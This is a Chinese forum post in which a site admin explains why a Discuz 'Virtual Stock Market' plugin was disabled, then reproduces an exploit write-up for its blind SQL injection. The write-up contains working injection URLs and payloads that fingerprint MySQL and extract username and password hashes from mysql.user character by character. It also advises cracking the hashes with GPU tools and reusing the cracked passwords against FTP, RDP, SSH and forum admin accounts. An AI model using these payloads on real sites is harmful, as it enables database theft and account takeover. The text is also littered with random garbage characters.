TA的每日心情 | 奋斗 3 天前 |
---|
签到天数: 2385 天 [LV.Master]伴坛终老
|
很多朋友在找虚拟股市,其实并非本站不想开放,插件出现了严重漏洞,而且这个插件是加密的,无法修改源码。9 d+ v8 W) u& I, w3 _. X0 ^( ^
- g: y9 O, S; [, D6 t# ?8 n我们一直在等在原作者站出来解决,假如作者一直出现的话,我们可能会放弃这个版本的虚拟股市,所有资金将换算成ec币,发放到各位的账号。
8 d2 c" p1 t( k d- `7 e# U2 S+ p2 Z0 |, O: B1 c
漏洞如下:: B) V4 t$ j/ e% F
/ r: Y2 q: c$ J( ADiscuz插件《虚拟股市》blind Injection Vul利用
' e9 j0 w2 I( ~2 A2 F" j, ^! x2 g" e0 [: m" J$ V7 ^- K
+ m' e3 o5 Z6 D. Y. R
漏洞的发现来自于对某站的渗透,由于其discuz版本为7.0,所以我只能把眼光聚焦在了它所安装的第三方插件上。
/ u: B5 n7 x9 L经过简单的测试,就发现了《虚拟股市》存在注射漏洞: % C% L, }; c- f! Y2 k0 X0 }
http://www.target.com/plugin.php ... _One&stockid=91 # 91为可变参数
9 w P" n7 ?. \8 F5 b* q Z, P) d- s fhttp://www.target.com/plugin.php ... ser_Show&uid=13 # 13为可变参数
4 n" ] @1 L! j0 }0 q6 o8 {1 I确认存在注射后开始尝试用order by猜解字段数,然后union select。但两个注射点都在字段数达到一定数目后,所执行的SQL语句发生了变化。原因是插件代码中有控制语句,使其跳转到另一行中执行。这种情况下,我们没办法获得字段数。 # }+ |3 q! V0 u- T" q2 w4 Z/ g! b
思路有二: & Y! h. L* C* a, f) q! Z* W
1.尝试盲注
- P# Z( V2 K& {* D5 g; z3 Z2.通过阅读《虚拟股市》这个插件的源码来确认其表结构和字段数
, |7 l% y3 T- r; B( c1 Y+ j' V0 P但经过搜索发现,这个插件的作者在发布时用了zend对其源码进行了加密。而现有所有的解密工具都不是很理想(这也是无法搞清楚漏洞原理和细节的原因)。因此,只能采取盲注的手法(对我而言)。 / l! Y5 p8 y3 `
盲注费时间是没办法的,但我们会想,盲注能获得哪些信息呢?我的方法如下: $ M3 u( B7 \ q, `: Y
#判断MYSQL版本,返回正常则为5,返回不正常则继续测试是否为4 . b+ A" [, ?- `2 A
/plugin.php?identifier=stock&module=stock&action=User_Show&uid=13 and substring(@@version,1,1)=5 0 _* F+ H8 |/ ~& X, g G) o
#是否支持子查询(版本为4的情况下)
4 {4 E( p3 s5 ~2 H# {$ D/plugin.php?identifier=stock&module=stock&action=User_Show&uid=13 and (select 1)=1
5 t' x) K+ E% F" F# u; s {6 ] ]#当前用户是否为root # A2 d# d8 r2 r; ?, W7 x
/plugin.php?identifier=stock&module=stock&action=User_Show&uid=13 and (select 1 from mysql.user limit 0,1)=1 0 T& X g! ~' z% J6 z3 T
下面就根据情况而异了:
! I' n7 B2 p: v: P* R' w$ ]1. 假如数据库用户为root,则可以直接取出root密码HASH,然后破解。如果对方服务器3306开放,或者装有phpmyadmin,那么下一步不用说相信大家也知道了。如果没有开放3306,也没有安装phpmyadmin,那么可以用破解出来的密码猜测一下ftp密码,3389密码,或者SSH密码,又或者后台管理员密码,等等。
% K0 @1 _; r0 r9 @0 ~+ Z2.假如数据库用户不为root,则直接取出discuz用户表cdb_members的管理员密码HASH,然后破解。
2 `( V" _$ y* G: t- D#######取数据 , t Y7 p" x x5 b
#mysql.user表第一行第一个字符的ASCII值是否大于80
/ C, N; v1 j5 i- S5 O; Cand ascii(substring((SELECT concat(username,0x3a,password) from mysql.user limit 0,1),1,1))>80 - T3 O, y0 |6 X, h
#第二个字符的ASCII值是否大于90 4 e. k4 U2 D2 M$ o; Q3 d
and ascii(substring((SELECT concat(username,0x3a,password) from mysql.user limit 0,1),2,1))>90
. F# j9 i* I9 O/ Q, Y# Q7 \…………
( d4 o6 ]( U1 v3 l就这样逐个猜,MYSQL4的密码HASH为16位MD5加密,MYSQL5的密码HASH为41位(加*号)。 & L; h) S- l5 H5 S1 e& C
密码破解:
. I7 k! }# h9 l# Z( ]# ~% u0 k# J1.MYSQL版本为4的话,这里有工具www.sqlhack.com,这个工具利用的是一个传说中的BUG,速度爆快。 8 T2 p( P; s# P7 t. {8 T
2.MYSQL 版本为5的话,我推荐用ighashgpu进行破解(貌似只用GPU,不用CPU),我AMD4核+HD 4650显卡,破解速度为60M/s,放到Inter Core i7 8核 + NVIDIA GeForce 9800GTX+平台上,速度是70M/s。而用passwordpro,速度才170w/s,这就是差距。7位纯字母我只用了7分多钟就破出来了。 |
|